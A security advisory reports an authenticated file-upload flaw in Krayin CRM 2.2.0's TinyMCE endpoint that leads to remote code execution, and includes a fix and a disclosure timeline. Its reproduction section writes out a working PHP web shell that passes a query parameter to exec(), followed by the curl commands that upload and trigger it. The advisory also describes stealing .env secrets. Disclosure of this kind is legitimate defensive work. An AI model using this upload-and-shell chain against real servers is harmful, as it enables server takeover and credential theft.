Krayin CRM 2.2.0 ships a TinyMCE media-upload endpoint that accepts any file extension and stores the result on a publicly served Laravel disk. Any authenticated staff user — including the lowest-privilege Sales Rep role — can drop a .php file at POST /admin/tinymce/upload and execute it as www-data via the URL the application returns to them.
- Affected: Krayin CRM 2.2.0 (latest release at time of writing) and earlier 2.x builds shipping the same controller
- CWE: 434 (Unrestricted Upload of File with Dangerous Type) chained with CWE-94 (Improper Control of Generation of Code)
- CVSS 3.1:
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H= 8.8 High - Privilege required: any authenticated staff account
The bug
The sink is packages/Webkul/Admin/src/Http/Controllers/TinyMCEController.php::storeMedia:
$filename = md5($file->getClientOriginalName().time())
.'.'.$file->getClientOriginalExtension();
$path = $file->storeAs($this->storagePath, $filename);
$this->sanitizeSvg($path, $file);Three problems stacked:
- No extension whitelist.
getClientOriginalExtension()reflects whatever the client sent —.php,.phtml,.pharare all accepted. sanitizeSvg()short-circuits on non-SVG files. Its first line isif (! $this->isSvgFile($file)) return;— so a.phpupload bypasses sanitization entirely.- Default filesystem disk is
public.config/filesystems.phpline 17 sets'default' => env('FILESYSTEM_DISK', 'public'), rooted atstorage/app/public. The standardphp artisan storage:linkstep (required forStorage::url()to return a working URL) symlinks that topublic/storage/, which Apache or Nginx serves directly as PHP.
The endpoint also returns the full executable URL in its JSON response, so no path guessing is needed.
Reproduction
Verified live on a stock Krayin 2.2.0 Docker install, logged in as a non-admin Sales Rep:
echo '<?php echo "PWNED:".exec($_GET["c"] ?? "id"); ?>' > shell.php
curl -sS -b "$JAR" -H "X-XSRF-TOKEN: $XSRF" -H "X-Requested-With: XMLHttpRequest" \
-F "[email protected]" "http://target/admin/tinymce/upload"
# {"location":"http://target/storage/tinymce/<md5>.php"}
curl "http://target/storage/tinymce/<md5>.php?c=id"
# PWNED:uid=33(www-data) gid=33(www-data) groups=33(www-data)Impact
A single low-privilege staff account converts directly into shell on the application server. From there:
storage/app/.envexposesAPP_KEY, full DB credentials, SMTP creds, and any integration secrets (Slack, Gmail, Google Calendar, SMS gateways the deployment is wired to).APP_KEYexposure means the attacker can forge or decrypt every session cookie and queued job the app has ever encrypted.- Database read/write is direct, bypassing every Bouncer ACL the application thinks it is enforcing.
Fix
In TinyMCEController::storeMedia:
$allowed = ['jpg', 'jpeg', 'png', 'gif', 'webp', 'svg'];
$ext = strtolower($file->getClientOriginalExtension());
if (! in_array($ext, $allowed, true)) abort(415);
if (! str_starts_with($file->getMimeType(), 'image/')) abort(415);Stronger fix: derive the extension from $file->getMimeType() rather than trusting the client, and serve uploads through an authenticated download controller rather than from the public disk.
Timeline
- 2026-05-04 — Bug discovered during audit of Krayin CRM 2.2.0.
- 2026-05-07 — Vendor notified by email with 7-day disclosure deadline.
- 2026-05-16 — Coordinated-disclosure deadline. If no fix or vendor engagement by this point, advisory and CVE submission go public.
Credit
Discovered and reported by Jobyer Ahmed — Offensive Security Researcher, Bytium.
References
- Krayin CRM repository — https://github.com/krayin/laravel-crm
- CWE-434 — https://cwe.mitre.org/data/definitions/434.html
- CWE-94 — https://cwe.mitre.org/data/definitions/94.html
- Laravel
storage:linkdocumentation — https://laravel.com/docs/filesystem#the-public-disk - PoC: https://github.com/bytium/vulnerability-research/blob/main/poc/krayin_rce.py